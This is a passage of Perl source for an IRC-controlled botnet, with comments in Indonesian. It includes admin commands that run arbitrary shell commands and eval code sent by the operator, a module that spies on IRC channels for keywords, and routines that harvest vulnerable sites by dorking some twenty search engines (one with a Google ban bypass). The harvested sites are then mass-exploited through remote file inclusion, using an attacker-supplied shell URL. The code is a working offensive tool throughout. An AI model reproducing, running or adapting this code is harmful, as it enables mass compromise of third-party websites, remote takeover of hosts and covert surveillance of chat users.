     elsif ($com =~ /^spychan\s+(.*)/ ) {
       unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
       else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
     }
     elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
     ##[ END OF PERINTAH SPY ]##
     elsif ($com =~ /^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
     elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
     elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
     elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
     elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
     elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
       my ($n,$url) = ($1,$2);
       if    ($n == 1) { $fx29id = $url; }
       elsif ($n == 2) { $fx29id2 = $url; }
       msgi($dtarget,"Respon $n RFI",$url);
     }
     elsif ($com =~ /^cspread\s+(.*)/) {
       my $url = $1;
       $spread = $url;
       msgi($dtarget,"Spread RFI",$spread);
     }
     elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
       $boss{$1}{pass}   = "fx";
       $boss{$1}{status} = $2;
       $boss{$1}{login}  = 0;
       $boss{$1}{cryptz} = 0;
       ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
       msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
     }
     elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
     elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
       my $cmd = $1;
       if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
       my @output = `$cmd`;
       my $i = 0;
       foreach my $out (@output) {
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
         irc_msg($dtarget,"$out");
       }
       exit;
     }
   }
   ## END OF ADMIN ##

   ##[ MATA-MATA ]##
   if ($dtarget ne $spy{"host"}) {
     my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
     if ($is_spychan == 1) {
        for my $t (@{$spy{"wordz"}}) {
          if ($dteks =~ /$t/) {
            msgi($spy{"host"},"!",$dteks); sleep(1);
            push @{ $spy{"foundz"} }, $dteks;
          }
        }
      }
   }
   ##[ END OF MATA-MATA ]##
 }
 ## END WHILE ##
}
## END KONEK ##

#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
 my ($to,$bug,$dork,$sb,$type) = @_;
 $sb = "Fx".$sb.".txt";
 $dork = bersihdork($to,$dork);
 my %­typez = (
   1 => "RFI ScaNneR",
   2 => "RFI ScaN & ExpLoiT",
   3 => "JooMLa MaSs ScaN & ExpLoiT"
 );
 my $badbug  = cek_bug($bug);
 if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
 my $baddork = cek_dork($dork);
 if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
 if ($type == 3) {
   my $h = bugjoomla("hitung");
   if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
 }
 irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
 my $stat = cek_respon($to);
 if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
 irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai!0 ".$conf{rfipid}."/PID 9ID:0 $sb".$colz{2});
 irc_msg($to,$colz{1}."BuGz:0 $bug ") if ($type != 3);
 irc_msg($to,$colz{1}."DoRkz:0 $dork ");
 s_cari($to,$dork,$sb,$bug,$type);
 s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
 irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai!0 $dork 9ID:0 $sb".$colz{2});
 return;
}

sub s_eksploit {
 #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
 #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
 my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
 my @prosesbaru;
 my @semuatarget;
 my $hitung;
 my $num = 0;
 my @bugjoomla = bugjoomla($chan) if ($type == 3);
 unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
 while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
 close(FILEZ);
 f_hapus($tf);
 my @kotor = lnk_sortir(@semuatarget);
 my @target = lnk_filter(@kotor);
 if (!$engine) {
   irc_msg($chan,$colz{1}."HaSiL PeNCaRiaN0 $dork".$colz{2});
   irc_msg($chan,$colz{1}."ToTaL:0 ".scalar(@semuatarget)." 9KoToR:0 ".scalar(@kotor)." 9BeRsih:0 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."ExpLoiTaSi DiMuLai!".$colz{2});
 }
 foreach my $situs (@target) {
   $hitung++;
   if ($hitung % $conf{rfipid} == 0) {
     foreach my $f (@prosesbaru) { waitpid($f,0); }
     $num = 0;
   }
   if ($type == 1 && $hitung % $conf{rficnt} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,$colz{3}.$hitung."3 ".scalar(@target).$colz{4});
   }
   if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,"9,1 $engine15 ".$hitung."14 ". scalar(@target). " ");
   }
   $prosesbaru[$num] = fork();
   if ($prosesbaru[$num] == 0) {
     if ($type != 3) {
       my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
       if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
     }
     else {
       foreach my $bug (@bugjoomla) {
         my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
         if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
       }
     }
     exit(0);
   }
   $num++;
 }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..".$colz{2}) if (!$engine);
 foreach my $f (@prosesbaru) { waitpid($f,0); }
 irc_msg($chan,"9,1 $engine 0FiNizZ! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################################################################
## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
## ASK     : *iWon, Lycos                                                ##
## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
##           Virgilio, Webcrawler, Webde                                 ##
## * Not implemented yet
###########################################################################
sub s_cari {
 #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
 my ($chan,$dork,$nf,$bug,$type) = @_;
 my @engz;
 my $key = $dork;
 $dork = urlen($key);
 $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[10] = fork(); if ($engz[10] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[11] = fork(); if ($engz[11] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[12] = fork(); if ($engz[12] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[13] = fork(); if ($engz[13] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[14] = fork(); if ($engz[14] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[15] = fork(); if ($engz[15] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[16] = fork(); if ($engz[16] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[17] = fork(); if ($engz[17] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[18] = fork(); if ($engz[18] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[19] = fork(); if ($engz[19] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[20]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[21]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[22] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@engz)." PID ProSes SearCh EnGiNe..".$colz{2});
 foreach my $e (@engz) { waitpid($e,0); }
}
sub s_engine {
   my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
   my @hc;
   if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
   elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
   elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
   elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } #Unused
   elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
   elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
   elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
   elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
   elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
   elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
   elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
   elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
   elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
   elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
   elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
   elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
   elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
   elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
   elsif ($f eq "mamma"    ) { @hc = se_mamma($chan,$dork,$ef); }
   elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
   elsif ($f eq "dmoz"     ) { @hc = se_dmoz($chan,$dork,$ef); }
   elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
   elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
   my @cl = lnk_sortir(@hc);
   msgr($chan,$se,scalar(@hc),scalar(@cl));
   if (scalar(@cl) == 0) { exit; }
   if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
   else {
     my $ef2 = $f.$ef;
     foreach my $e (@cl) { f_simpan($ef2,$e); }
     if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
     elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
   }
}
##[ GOOGLE ]##
sub se_google {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p = 0;
 #my $url = "http://localhost/search/google.co.id.htm";
 my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
 my $murl = "http://www.google.co.id";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q !~ /2008 Google/ ) { msge($chan,"Google","KeNa BaN!!"); @daftar = se_gbypass($chan,$key,$nf); }
 if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
 }
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Google","$nxurl");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 1000; my $p = 0;
 my $url = $bypass."?key=".$key."&max=".$max;
 my $nxurl;
 my $q = bukasitus($url);
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
 return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 my @doms = (
   "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
   "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
   "com.tr","com.tw","com.ua","co.uk","hu");
 my $dom = $doms[rand(scalar(@doms))];
 my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
 my $murl = "http://www.google.".$dom;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1;
     msgn($dbgchan,"Google.".$dom,$nxurl);
     msgn($chan,"Google.".$dom,"LaGi NyAri..");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 #my $url = "http://localhost/search/search.aol.com.htm";
 my $url = "http://search.aol.com/aol/search?query=".$key;
 my $murl = "http://search.aol.com/aol/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
 }
 if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Aol","$nxurl");
 }
 while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 8000; my $p = "1";
 #my $url = "http://localhost/search/www.search.yahoo.com.htm";
 my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
 }
 if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
 if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Yahoo","$nxurl");
 }
 while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
 while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
   $p++; if ( $p > $max ) { return @daftar; }
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 3000; my $p;
 #my $url = "http://localhost/search/www.altavista.com.htm";
 my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Altavista","$nxurl");
 }
 while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 100; my $max = 20; my $p = 1;
 #my $url = "http://localhost/search/www.alltheweb.com.htm";
 my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
 }
 if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"AllTheWeb","$nxurl");
 }
 while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 0; my $max = 300; my $p = 1;
 #my $url = "http://localhost/search/www.goodsearch.com.html";
 my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
 my $murl = "http://www.goodsearch.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
 }
 if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
     my $nxurl = $1; msgn($dbgchan,"GoodSearch","$nxurl");
 }
 while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
 for ($p=2;$p<=$max;$p++) {
   $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
   $q = bukasitus($url);
   while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
   if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
 }
 return @daftar;
}
## UOL ##
sub se_uol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 3000; my $p;
 #my $url = "http://localhost/search/busca.uol.com.br.htm";
 my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
 my $murl = "http://busca.uol.com.br";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /results\">(.+?)<\/strong>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
     my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","$nxurl");
 }
 while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 for ($p=1;$p<=$max;$p += $num) {
   $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
   while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
   if ( $q !~ /<dt><a href/ ) { return @daftar; }
 }
 return @daftar;
}
## LIVE ##
sub se_live {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 100; my $p;
 #my $url = "http://localhost/search/search.live.com.htm";
 my $url = "http://search.live.com/results.aspx?q=".$key."&go";
 my $murl =  "http://search.live.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
     my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
   my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
 }
 for ( $p=0;$p<=$max;$p += $num ) {
   $nxurl = $murl.htmltourl($1)."&go";
   $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
     my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## CLUSTY ##
sub se_clusty {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50;
 #my $url = "http://localhost/search/clusty.com.htm";
 my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
 my $murl = "http://clusty.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
 }
 if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
 }
 while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ ASK ]##
sub se_ask {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 200; my $p = 1;
 #my $url = "http://localhost/search/www.ask.com.htm";
 my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
 my $murl = "http://www.ask.com/web";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","$h");
 }
 while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
   my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
 }
 for ($p=1;$p<=$max;$p++) {
   $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
   while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
     my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## LYCOS ##
sub se_lycos {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 200;  my $p;
 #my $url = "http://localhost/search/search.lycos.com.htm";
 my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
 my $murl =  "http://search.lycos.com/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
   my $nxurl = $1; msgn($dbgchan,"Lycos","$nxurl");
 }
 while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
 for ( $p=0;$p<=$max;$p++ ) {
   $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
   if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
 }
 return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000;
 #my $url = "http://localhost/search/gigablast.com.htm";
 my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
 my $murl = "http://www.gigablast.com";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
 }
 if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Gigablast","$nxurl");
 }
 while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## MAMMA ##
sub se_mamma {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 10; my $p = 1;
 #my $url = "http://localhost/search/mamma.com.htm";
 my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","$h");
 }
 while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
   my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
 }
 while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
     my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
   }
 }
 return @daftar;
}
## DMOZ ##
sub se_dmoz {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 3000; my $p = 1;
 #my $url = "http://localhost/search/search.dmoz.org.htm";
 my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
 my $murl = "http://search.dmoz.org/cgi-bin/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
   my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
 }
 if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Dmoz","$nxurl");
 }
 while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
